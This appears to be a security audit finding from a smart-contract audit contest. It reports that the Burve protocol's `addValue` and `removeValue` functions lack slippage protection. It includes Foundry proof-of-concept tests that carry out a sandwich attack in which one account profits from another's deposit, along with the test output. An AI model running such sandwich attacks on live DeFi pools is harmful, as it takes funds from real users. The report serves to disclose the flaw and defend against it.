Sneaky Burlap Pigeon

High

# Absence of Slippage Check in the `addValue` Function

### Summary
The current implementation of the `addValue` and `removeValue` functions does not include a slippage check. This vulnerability allows an attacker to exploit the function through a sandwich attack, potentially stealing funds. 
Even if a sandwich attack is difficult on certain chains, if `swap` is executed before the user's add or remove, the user may still incur a loss.

### Root Cause
https://github.com/sherlock-audit/2025-04-burve/tree/main/Burve/src/multi/facets/ValueFacet.sol#L58
```solidity
58: function addValue(
        address recipient,
        uint16 _closureId,
        uint128 value,
        uint128 bgtValue
    )
        external
        nonReentrant
        returns (uint256[MAX_TOKENS] memory requiredBalances)
    {
        if (value == 0) revert DeMinimisDeposit();
        require(bgtValue <= value, InsufficientValueForBgt(value, bgtValue));
        ClosureId cid = ClosureId.wrap(_closureId);
        Closure storage c = Store.closure(cid);
        uint256[MAX_TOKENS] memory requiredNominal = c.addValue(
            value,
            bgtValue
        );
        // Fetch balances
        TokenRegistry storage tokenReg = Store.tokenRegistry();
        for (uint8 i = 0; i < MAX_TOKENS; ++i) {
            if (!cid.contains(i)) continue; // Irrelevant token.
            address token = tokenReg.tokens[i];
            uint256 realNeeded = AdjustorLib.toReal(
                token,
                requiredNominal[i],
                true
            );
            requiredBalances[i] = realNeeded;
            TransferHelper.safeTransferFrom(
                token,
                msg.sender,
                address(this),
                realNeeded
            );
            Store.vertex(VertexLib.newId(i)).deposit(cid, realNeeded);
        }
        Store.assets().add(recipient, cid, value, bgtValue);
    }
```
https://github.com/sherlock-audit/2025-04-burve/tree/main/Burve/src/multi/facets/ValueFacet.sol#L125
```solidity
100:function addValueSingle(
        address recipient,
        uint16 _closureId,
        uint128 value,
        uint128 bgtValue,
        address token,
        uint128 maxRequired
    ) external nonReentrant returns (uint256 requiredBalance) {
        ...
        requiredBalance = AdjustorLib.toReal(token, nominalRequired, true);
        uint256 realTax = FullMath.mulDiv(
            requiredBalance,
            nominalTax,
            nominalRequired
        );
        if (maxRequired > 0)
125:        require(requiredBalance <= maxRequired, PastSlippageBounds());
        TransferHelper.safeTransferFrom(
            token,
            msg.sender,
            address(this),
            requiredBalance
        );
        ...
    }
```
As can be seen, the `addValueSingle` function includes a slippage check, and the `addValue` function lacks one.

### Internal pre-conditions
N/A

### External pre-conditions
N/A

### Attack Path
1. The attacker swaps token0 for token1.
2. The user calls the `addValue` function.
3. The attacker then swaps token1 back to token0.

Even if a sandwich attack is difficult on certain chains, if step 1 is executed before the user's deposits, the user may still incur a loss.

### PoC
The PoC below illustrates a scenario in which Bob steals funds by executing a sandwich attack on Alice's addValue function.
https://github.com/sherlock-audit/2025-04-burve/tree/main/Burve/test/facets/ValueFacet.t.sol
```solidity
    function test_SlippageAddValue() public {
        valueFacet.addValue(address(this), 0x7, 3e21, 0);
        
        uint256 oneX128 = 1 << 128;
        vm.prank(owner);
        simplexFacet.setClosureFees(0x7, uint128(oneX128 / 1000), 0);

        uint256[4] memory initBalances = getBalances(bob);
        
        uint256 swapAmount = 1e21;

        vm.prank(bob);
        (uint256 inAmount, uint256 outAmount) = swapFacet.swap(
            bob, // recipient
            tokens[0], // tokenIn
            tokens[1], // tokenOut
            int256(swapAmount), // positive for exact input
            0, // no price limit{}
            0x7
        );

        vm.prank(alice);
        valueFacet.addValue(alice, 0x7, 3e21, 0);

        vm.prank(bob);
        swapFacet.swap(
            bob, // recipient
            tokens[1], // tokenIn
            tokens[0], // tokenOut
            int256(outAmount), // positive for exact input
            0, // no price limit{}
            0x7
        );
        
        uint256[4] memory currentBalances = getBalances(bob);
        int256[4] memory diffs = diffBalances(currentBalances, initBalances);
        console.log("diffs0 : %e", diffs[0]);
        console.log("diffs1 : %e", diffs[1]);
    }
```
forge test --match-test "test_SlippageAddValue" -vv
Result:
```bash
Ran 1 test for test/facets/ValueFacet.t.sol:ValueFacetTest
[PASS] test_SlippageAddValue() (gas: 1667490)
Logs:
  diffs0 : 7.0312387744252867628e19
  diffs1 : 0e0
```

This PoC demonstrates a scenario in which a user experiences a loss when removing a value.
Initial State : Balance of Token0 = 2e20, Balance of Token1 = 2e20, Value of Alice = 3e20.
Alice is going to remove a value of 3e20, and Bob is going to swap 5e19 Token0 for Token1.
https://github.com/sherlock-audit/2025-04-burve/tree/main/Burve/test/facets/ValueFacet.t.sol
```solidity
    function test_Swap_Remove1() public {
        uint256 oneX128 = 1 << 128;
        vm.prank(owner);
        simplexFacet.setClosureFees(0x7, uint128(oneX128 / 10000), uint128(oneX128 / 10));
        valueFacet.addValue(alice, 0x7, 3e20, 0);
        
        // Start
        uint256[4] memory alice_initBalances = getBalances(alice);
        uint256[4] memory bob_initBalances = getBalances(bob);
        
        vm.prank(bob);
        swapFacet.swap(bob, tokens[0], tokens[1], 5e19, 0, 0x7);

        uint256[4] memory bob_currentBalances = getBalances(bob);
        int256[4] memory bob_diffs = diffBalances(bob_currentBalances, bob_initBalances);
        console.log("  bob_diffs[0] : %e", bob_diffs[0]);
        console.log("  bob_diffs[1] : %e", bob_diffs[1]);

        vm.prank(alice);
        valueFacet.removeValue(alice, 0x7, 3e20, 0);
        
        uint256[4] memory alice_currentBalances = getBalances(alice);
        int256[4] memory alice_diffs = diffBalances(alice_currentBalances, alice_initBalances);
        console.log("alice_diffs[0] : %e", alice_diffs[0]);
        console.log("alice_diffs[1] : %e", alice_diffs[1]);

        vm.prank(alice);
        swapFacet.swap(alice, tokens[0], tokens[1], alice_diffs[0] - 1e20, 0, 0x7);

        alice_currentBalances = getBalances(alice);
        alice_diffs = diffBalances(alice_currentBalances, alice_initBalances);
        console.log("alice_diffs[0] : %e", alice_diffs[0]);
        console.log("alice_diffs[1] : %e", alice_diffs[1]);
    }
    function test_Swap_Remove2() public {
        uint256 oneX128 = 1 << 128;
        vm.prank(owner);
        simplexFacet.setClosureFees(0x7, uint128(oneX128 / 10000), uint128(oneX128 / 10));
        valueFacet.addValue(alice, 0x7, 3e20, 0);
        
        // Start
        uint256[4] memory alice_initBalances = getBalances(alice);
        uint256[4] memory bob_initBalances = getBalances(bob);
        
        vm.prank(alice);
        valueFacet.removeValue(alice, 0x7, 3e20, 0);
        
        uint256[4] memory alice_currentBalances = getBalances(alice);
        int256[4] memory alice_diffs = diffBalances(alice_currentBalances, alice_initBalances);
        console.log("alice_diffs[0] : %e", alice_diffs[0]);
        console.log("alice_diffs[1] : %e", alice_diffs[1]);

        vm.prank(bob);
        swapFacet.swap(bob, tokens[0], tokens[1], 5e19, 0, 0x7);

        uint256[4] memory bob_currentBalances = getBalances(bob);
        int256[4] memory bob_diffs = diffBalances(bob_currentBalances, bob_initBalances);
        console.log("  bob_diffs[0] : %e", bob_diffs[0]);
        console.log("  bob_diffs[1] : %e", bob_diffs[1]);
    }
```
forge test --match-test "test_Swap_Remove" -vv
Result:
```bash
Ran 2 tests for test/facets/ValueFacet.t.sol:ValueFacetTest
[PASS] test_Swap_Remove1() (gas: 1539748)
Logs:
    bob_diffs[0] : -5e19
    bob_diffs[1] : 4.7821512267444641063e19
  alice_diffs[0] : 1.249975e20
  alice_diffs[1] : 7.6089243866277679468e19
  alice_diffs[0] : 1e20
  alice_diffs[1] : 9.8005519113853028748e19

[PASS] test_Swap_Remove2() (gas: 1321349)
Logs:
  alice_diffs[0] : 1e20
  alice_diffs[1] : 1e20
    bob_diffs[0] : -5e19
    bob_diffs[1] : 4.5829131909432578604e19
```
As can be seen, if Bob's transaction is excuted first:
  - Bob's gain = 4.7821512267444641063e19 - 4.5829131909432578604e19 = 0.1992380358012062459e19 `Token1`
  - Alice's loss = 1e20 - 9.8005519113853028748e19 = 0.1994480886146971252e19.

### Impact
1. An attacker can exploit this vulnerability to steal funds.
2. When users add or remove values, they could experience losses.

### Mitigation
Consider implementing a slippage check in the `addValue` and `removeValue` function to prevent such attacks or accidents.
